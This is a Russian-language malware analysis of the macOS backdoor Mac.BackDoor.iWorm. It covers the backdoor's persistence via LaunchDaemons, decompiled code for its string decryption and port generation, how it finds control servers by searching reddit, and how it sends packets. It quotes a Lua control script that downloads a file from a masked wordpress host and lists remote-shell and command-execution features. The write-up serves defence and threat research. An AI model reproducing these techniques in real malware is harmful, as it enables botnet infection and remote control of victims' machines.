Mac.BackDoor.iWorm - сложный многофункциональный бэкдор для Apple-устройств


Mac.BackDoor.iWorm - сложный многофункциональный бэкдор, предназначенная для инфицирования Apple-устройств, с последующим выполнением на них своих вредоносных функций. Вредоносная программа написана на языке программирования С++ и Lua. Кроме того, в архитектуре бэкдора широко применяется криптография.

На базе данной вредоносной программы была создана бот-сеть, в которой уже на 29 сентября 2014 года насчитывалось 18 519 уникальных IP-адресов инфицированных компьютеров.

Бэкдор распаковывается в папку

  • /Library/Application Support/JavaW

а в автозагрузку он устанавливается при помощи специально сформированного файла plist через

  • /Library/LaunchDaemons/

под видом приложения com.JavaW.

В процессе своей работы Mac.BackDoor.iWorm использует криптографию. Запустившись на устройстве, троян инициализирует контекст (который далее будет использован для криптографии) и по нулевому смещению записывает два байта, которые являются ключом для последующей дешифровки строк. Сами строки дешифруются с использованием следующего алгоритма:

void DecryptStrings(unsigned __int8* Data, size_t size)
{
    for(int i = 0; i < size; i++)
    {
        if (Data[i])
        {
            Data[i] -= 'Z';
            Data[i] ^= 'M';
        }
    }
}

find_banned_dir:
  challenge[5] = 0;
  challenge[4] = 0;
  challenge[0] = 0x67452301;
  challenge[1] = 0xEFCDAB89;
  challenge[2] = 0x98BADCFE;
  challenge[3] = 0x10325476;
  szDir = (const char *)&dir-&qt;d_seekoff;
  szDir_len = strlen(szDir);
  MD5_Update(szDir, challenge, szDir_len);
  MD5_Final((char *)&MD5OfDir, challenge);
  z = 0;
  do
  {
    if ( z &qt; 2 )
    {
      dir = readdir(hLib);
      if ( !dir )
        goto banned_dir_not_found;
      goto find_banned_dir;
    }
    BannedFoldersMD5 = pBannedFoldersMD5[z++];
  }
  while ( MD5OfDir != _byteswap_ulong(BannedFoldersMD5) );

Если "нежелательные" директории обнаружить не удается, то бот последовательно вызывает функции getuid и gepwuid. При помощи этих функций он получает имена папок пользователя, под учетной записью которого он был запущен, а также проверяет наличие в ней конфигурационного файла

  • %pw_dir%/.JavaW,

который создается при первом запуске бэкдора. Также при первом запуске происходит генерация номера порта. При всех последующих запусках троян получает порт уже из конфигурационного файла:

r1 = TwisterGenRnd();;  //получение случайного числа
r2 = 0xFFFF0400 * (random_value / 0xFC00);
port = (WORD)(r1 + r2 + 1024);

Далее из полученного значения порта формируется структура backdoor_param, которая после шифрования будет записана в конфигурационный файл. При этом каждая запись в конфигурационном файле отображается следующим образом:

struct backdoor_param
{
    char szParam[];
    char szValue[];
};

Сформированная из значений

  • %param_name% и %param_value%

структура шифруется с использованием алгоритма AES-256. Зашифрованная структура также записывается в конфигурационный файл. После этого бэкдор запускает три потока со следующим функциональным назначением:

  • открывает порт и ждет входящего соединения;
  • делает запрос к сайту и получает адреса управляющих серверов;
  • устанавливает соединение с управляющими серверами и получает от них команды.


Для получения адресов управляющих серверов Mac.BackDoor.iWorm определяет текущую дату и вычисляет ее значение в днях по формуле:

time_t timee;
struct tm *tm;
 
time(&timee);
tm = gmtime(&timee);
dwDays = tm->tm_yday + 365 * tm->tm_year;

От полученного значения троян вычисляет хэш-функцию MD5, а затем отправляет на сайт reddit.com поисковый запрос следующего вида:

  • https : // www. reddit. com / search?q=<MD5_hash_first8>

где MD5_hash_first8 — значения первых 8 байт хэш-функции MD5 от текущей даты.

В зависимости от результатов поиска reddit.com отдает веб-страницу со списком управляющих серверов ботнета и портов, которые злоумышленники публикуют в виде комментариев к теме minecraftserverlists от имени пользователя vtnhiaovyd. Получение списка управляющих адресов повторяется с интервалом в 5 минут.

iWorm comments

Для своей дальнейшей работы троян выбирает управляющий сервер по следующему алгоритму:

rnd = TwisterGenRnd(); //получение случайного числа
szIP = GetAddressByIndex(pCSrvList, rnd % (pSrvList_size >> 2) % (pSrvList_size >> 2));

Фактически, бот пытается установить соединение с командными серверами, перебирая в случайном порядке первые 29 адресов из полученного списка, а также отправляя запросы на каждый из них. После установки соединения Mac.BackDoor.iWorm проверяет, не находится ли данный сайт в списке исключений:

i = 0;
while ( 1 )
{
  pthread_mutex_lock(&pMutex_0);
  BanListSize = (pBanListEnd - pBanListBeg) >> 2;
  pthread_mutex_unlock(&pMutex_0);
  if ( i >= BanListSize )
    break;
  pszBannedIP = GetAddressByIndex(pCBanList, i++);
  if ( CompareAddresses(pszBannedIP, szIP) )
  {
    pthread_mutex_unlock(&pMutex_0);
    shutdown(this->socket, SHUT_WR);
    goto func_exit;
  }
}

После установки соединения с управляющим сервером, между бэкдором и ним происходит обмен специальным набором данных, по которым с использованием ряда сложных математических преобразований проверяется подлинность удаленного узла. При успешной проверке, бот передает на удаленный сервер номер открытого на инфицированном компьютере порта и свой уникальный идентификатор, а затем ожидает в ответ поступления управляющих команд. Стоит отметить, что все отправляемые данные шифруются по алгоритму AES-256 и передаются пакетами следующим способом:

void SendPacket(char packet_signature, struct st_node *pNode, unsigned __int16 packet_size, char *pPacketData)
{
    WORD ps = 0;
    SendData(&packet_signature, pNode->pCSocket, 1u);
    ps = BYTE(packet_size) << 8;
    SendData((char *)&ps, pNode_->pCSocket, 2u);
    SendData(pPacketData, pNode_->pCSocket, packet_size);
}

Чтобы обработать поступающие от управляющего сервера команды, в бэкдоре была реализована поддержка Lua. А в зависимости от типа полученных данных, бот может выполнять либо отдельные команды, либо Lua-скрипты. Пример такого Lua-скрипта:

if platform() == "OSX" and get("d") ~= "3" then
httpgeted("https : // ***** . files . wordpress . com /2014/08/01.jpg")
set("d", "3");

Набор базовых команд бэкдора для Lua-скриптов позволяет выполнять следующие операции:

  • получать тип ОС;
  • получать версии бота;
  • получать UID бота;
  • получать значения параметра из конфигурационного файла;
  • устанавливать значения параметра в конфигурационном файле;
  • очищать конфигурационные данные от всех параметров;
  • получать время работы бота (uptime);
  • отправлять GET-запросы;
  • скачивать файлы;
  • открывать сокеты для входящего соединения с последующим выполнением приходящих команд;
  • выполнять системные команды;
  • выполнять паузы (sleep);
  • добавлять ноды по IP в список "забаненных" узлов;
  • очищать список "забаненных" нодов;
  • получать списки нодов;
  • получать IP-адреса нода;
  • получать тип нода;
  • получать порты нода;
  • выполнять вложенные Lua-скрипты.


В настоящее время можно говорить о наличии следующих функций (не считая функционал Lua-скриптов):

  • отправка UID;
  • отправка номера открытого порта;
  • добавление в свой список нодов новых ботов (как подключившихся, так и пришедших в команде);
  • ретрансляция трафика (принимаемые данные по одному сокету без изменений передаются на другой);
  • подключение к хосту, указанному в пришедшей команде;
  • выполнение Lua-скриптов.


Согласно собранной статистики, в бот-сети, созданной злоумышленниками на базе Mac.BackDoor.iWorm, по состоянию на 26 сентября 2014 года насчитывалось 17 658 IP-адресов зараженных устройств. Наибольшее их количество приходится на долю:

  • США — 4610 адресов (26,1% от общего числа);
  • Канада - 1235 (7%);
  • Великобритания - 1227 (6,9%).


Географическое распределение бот-сети Mac.BackDoor.iWorm на конец сентября 2014 года

iWorm geography rasprostr